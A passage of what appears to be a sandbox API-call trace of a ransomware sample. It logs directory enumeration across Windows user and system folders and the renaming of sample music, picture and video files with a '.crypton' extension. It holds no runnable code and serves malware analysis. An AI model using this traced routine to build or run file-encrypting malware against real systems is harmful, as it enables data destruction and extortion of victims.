lpFindFileData=0x4abd70*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x36000234, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0xffffffff [0224.679] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\Start Menu\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x36000234, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0xffffffff [0224.683] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\Templates\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x36000234, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0xffffffff [0224.688] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\Videos\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x30d2540, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x30d2540, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0224.692] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default User\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x30d2540, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x30d2540, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 0xffffffff [0224.696] FindFirstFileA (in: lpFileName="C:\\\\Users\\Public\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x348a7a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x348a7a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0224.702] FindFirstFileA (in: lpFileName="C:\\\\Users\\Public\\Desktop\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xeaf7fc00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeaf7fc00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0224.707] FindFirstFileA (in: lpFileName="C:\\\\Users\\Public\\Documents\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xeaf7fc00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeaf7fc00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0224.713] FindFirstFileA (in: lpFileName="C:\\\\Users\\Public\\Documents\\My Music\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x28207265, ftCreationTime.dwLowDateTime=0x676f6f67, ftCreationTime.dwHighDateTime=0x6920656c, ftLastAccessTime.dwLowDateTime=0x76202974, ftLastAccessTime.dwHighDateTime=0x6f206169, ftLastWriteTime.dwLowDateTime=0x63696666, ftLastWriteTime.dwHighDateTime=0x206c6169, nFileSizeHigh=0x65746973, nFileSizeLow=0x3e3e0a0d, dwReserved0=0x74746820, dwReserved1=0x2f2f3a70, cFileName="mj4mxqvlo4xh5fb2fxc3lã\x15wéûhwô·J", cAlternateFileName="l·J")) returned 0xffffffff [0224.718] FindFirstFileA (in: lpFileName="C:\\\\Users\\Public\\Documents\\My Pictures\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x28207265, ftCreationTime.dwLowDateTime=0x676f6f67, ftCreationTime.dwHighDateTime=0x6920656c, ftLastAccessTime.dwLowDateTime=0x76202974, ftLastAccessTime.dwHighDateTime=0x6f206169, ftLastWriteTime.dwLowDateTime=0x63696666, ftLastWriteTime.dwHighDateTime=0x206c6169, nFileSizeHigh=0x65746973, nFileSizeLow=0x3e3e0a0d, dwReserved0=0x74746820, dwReserved1=0x2f2f3a70, cFileName="mj4mxqvlo4xh5fb2fxc3lã\x15wéûhwô·J", cAlternateFileName="l·J")) returned 0xffffffff [0224.723] FindFirstFileA (in: lpFileName="C:\\\\Users\\Public\\Documents\\My Videos\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x28207265, ftCreationTime.dwLowDateTime=0x676f6f67, ftCreationTime.dwHighDateTime=0x6920656c, ftLastAccessTime.dwLowDateTime=0x76202974, ftLastAccessTime.dwHighDateTime=0x6f206169, ftLastWriteTime.dwLowDateTime=0x63696666, ftLastWriteTime.dwHighDateTime=0x206c6169, nFileSizeHigh=0x65746973, nFileSizeLow=0x3e3e0a0d, dwReserved0=0x74746820, dwReserved1=0x2f2f3a70, cFileName="mj4mxqvlo4xh5fb2fxc3lã\x15wéûhwô·J", cAlternateFileName="l·J")) returned 0xffffffff [0224.727] FindFirstFileA (in: lpFileName="C:\\\\Users\\Public\\Downloads\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x34d6a60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x34d6a60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0224.732] FindFirstFileA (in: lpFileName="C:\\\\Users\\Public\\Favorites\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xeafa5d60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeafa5d60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0224.737] FindFirstFileA (in: lpFileName="C:\\\\Users\\Public\\Libraries\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x34fcbc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x34fcbc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0224.743] FindFirstFileA (in: lpFileName="C:\\\\Users\\Public\\Music\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x34b0900, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x34b0900, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0224.747] FindFirstFileA (in: lpFileName="C:\\\\Users\\Public\\Music\\Sample Music\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x3522d20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x3522d20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0225.036] MoveFileExW (lpExistingFileName="C:\\\\Users\\Public\\Music\\Sample Music\\Kalimba.mp3" (normalized: "c:\\users\\public\\music\\sample music\\kalimba.mp3"), lpNewFileName="C:\\\\Users\\Public\\Music\\Sample Music\\Kalimba.mp3.crypton" (normalized: "c:\\users\\public\\music\\sample music\\kalimba.mp3.crypton"), dwFlags=0x2) returned 1 [0225.789] MoveFileExW (lpExistingFileName="C:\\\\Users\\Public\\Music\\Sample Music\\Maid with the Flaxen Hair.mp3" (normalized: "c:\\users\\public\\music\\sample music\\maid with the flaxen hair.mp3"), lpNewFileName="C:\\\\Users\\Public\\Music\\Sample Music\\Maid with the Flaxen Hair.mp3.crypton" (normalized: "c:\\users\\public\\music\\sample music\\maid with the flaxen hair.mp3.crypton"), dwFlags=0x2) returned 1 [0226.118] MoveFileExW (lpExistingFileName="C:\\\\Users\\Public\\Music\\Sample Music\\Sleep Away.mp3" (normalized: "c:\\users\\public\\music\\sample music\\sleep away.mp3"), lpNewFileName="C:\\\\Users\\Public\\Music\\Sample Music\\Sleep Away.mp3.crypton" (normalized: "c:\\users\\public\\music\\sample music\\sleep away.mp3.crypton"), dwFlags=0x2) returned 1 [0226.124] FindFirstFileA (in: lpFileName="C:\\\\Users\\Public\\Pictures\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x34d6a60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x34d6a60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0226.128] FindFirstFileA (in: lpFileName="C:\\\\Users\\Public\\Pictures\\Sample Pictures\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x423a620, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x423a620, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0226.428] MoveFileExW (lpExistingFileName="C:\\\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\chrysanthemum.jpg"), lpNewFileName="C:\\\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg.crypton" (normalized: "c:\\users\\public\\pictures\\sample pictures\\chrysanthemum.jpg.crypton"), dwFlags=0x2) returned 1 [0226.732] MoveFileExW (lpExistingFileName="C:\\\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\desert.jpg"), lpNewFileName="C:\\\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg.crypton" (normalized: "c:\\users\\public\\pictures\\sample pictures\\desert.jpg.crypton"), dwFlags=0x2) returned 1 [0227.023] MoveFileExW (lpExistingFileName="C:\\\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\hydrangeas.jpg"), lpNewFileName="C:\\\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg.crypton" (normalized: "c:\\users\\public\\pictures\\sample pictures\\hydrangeas.jpg.crypton"), dwFlags=0x2) returned 1 [0227.333] MoveFileExW (lpExistingFileName="C:\\\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\jellyfish.jpg"), lpNewFileName="C:\\\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg.crypton" (normalized: "c:\\users\\public\\pictures\\sample pictures\\jellyfish.jpg.crypton"), dwFlags=0x2) returned 1 [0227.749] MoveFileExW (lpExistingFileName="C:\\\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\koala.jpg"), lpNewFileName="C:\\\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg.crypton" (normalized: "c:\\users\\public\\pictures\\sample pictures\\koala.jpg.crypton"), dwFlags=0x2) returned 1 [0228.098] MoveFileExW (lpExistingFileName="C:\\\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\lighthouse.jpg"), lpNewFileName="C:\\\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg.crypton" (normalized: "c:\\users\\public\\pictures\\sample pictures\\lighthouse.jpg.crypton"), dwFlags=0x2) returned 1 [0228.408] MoveFileExW (lpExistingFileName="C:\\\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\penguins.jpg"), lpNewFileName="C:\\\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg.crypton" (normalized: "c:\\users\\public\\pictures\\sample pictures\\penguins.jpg.crypton"), dwFlags=0x2) returned 1 [0228.707] MoveFileExW (lpExistingFileName="C:\\\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\tulips.jpg"), lpNewFileName="C:\\\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg.crypton" (normalized: "c:\\users\\public\\pictures\\sample pictures\\tulips.jpg.crypton"), dwFlags=0x2) returned 1 [0228.715] FindFirstFileA (in: lpFileName="C:\\\\Users\\Public\\Recorded TV\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x5aeca60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x5aeca60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0228.720] FindFirstFileA (in: lpFileName="C:\\\\Users\\Public\\Recorded TV\\Sample Media\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x5aeca60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x5aeca60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0228.725] FindFirstFileA (in: lpFileName="C:\\\\Users\\Public\\Videos\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x34d6a60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x34d6a60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0228.729] FindFirstFileA (in: lpFileName="C:\\\\Users\\Public\\Videos\\Sample Videos\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x5b12bc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x5b12bc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0229.019] MoveFileExW (lpExistingFileName="C:\\\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv" (normalized: "c:\\users\\public\\videos\\sample videos\\wildlife.wmv"), lpNewFileName="C:\\\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv.crypton" (normalized: "c:\\users\\public\\videos\\sample videos\\wildlife.wmv.crypton"), dwFlags=0x2) returned 1 [0229.025] FindFirstFileA (in: lpFileName="C:\\\\Windows\\*", lpFindFileData=0x4ad0c0 | out: lpFindFileData=0x4ad0c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5de65e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x5de65e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549750 [0229.030] FindFirstFileA (in: lpFileName="C:\\\\Windows\\addins\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x5de65e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x5de65e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0229.035] FindFirstFileA (in: lpFileName="C:\\\\Windows\\AppCompat\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5e0c740, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x5e0c740, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0229.040] FindFirstFileA (in: lpFileName="C:\\\\Windows\\AppCompat\\Programs\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5e0c740, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x5e0c740, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0229.044] FindFirstFileA (in: lpFileName="C:\\\\Windows\\AppPatch\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb328d6, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5e0c740, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x5e0c740, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0229.050] FindFirstFileA (in: lpFileName="C:\\\\Windows\\AppPatch\\AppPatch64\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb328d6, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5e0c740, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x5e0c740, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0229.056] FindFirstFileA (in: lpFileName="C:\\\\Windows\\AppPatch\\Custom\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb58a30, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5e328a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x5e328a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0229.061] FindFirstFileA (in: lpFileName="C:\\\\Windows\\AppPatch\\Custom\\Custom64\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb58a30, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5e328a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x5e328a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0229.066] FindFirstFileA (in: lpFileName="C:\\\\Windows\\AppPatch\\en-US\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x368b31d3, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x5e58a00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x5e58a00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0229.070] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x15, ftCreationTime.dwLowDateTime=0xfdb58a30, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5e58a00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x5e58a00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0229.076] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x409ffc9f, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x5e58a00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x5e58a00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0229.089] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC\\ADODB\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa60f1d10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5e7eb60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x5e7eb60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0229.097] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC\\ADODB\\7.0.3300.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5eaf6290, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5e7eb60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x5e7eb60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0229.104] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC\\Extensibility\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6699150, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5ea4cc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x5ea4cc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0229.110] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC\\Extensibility\\7.0.3300.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60b18b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5ea4cc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x5ea4cc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 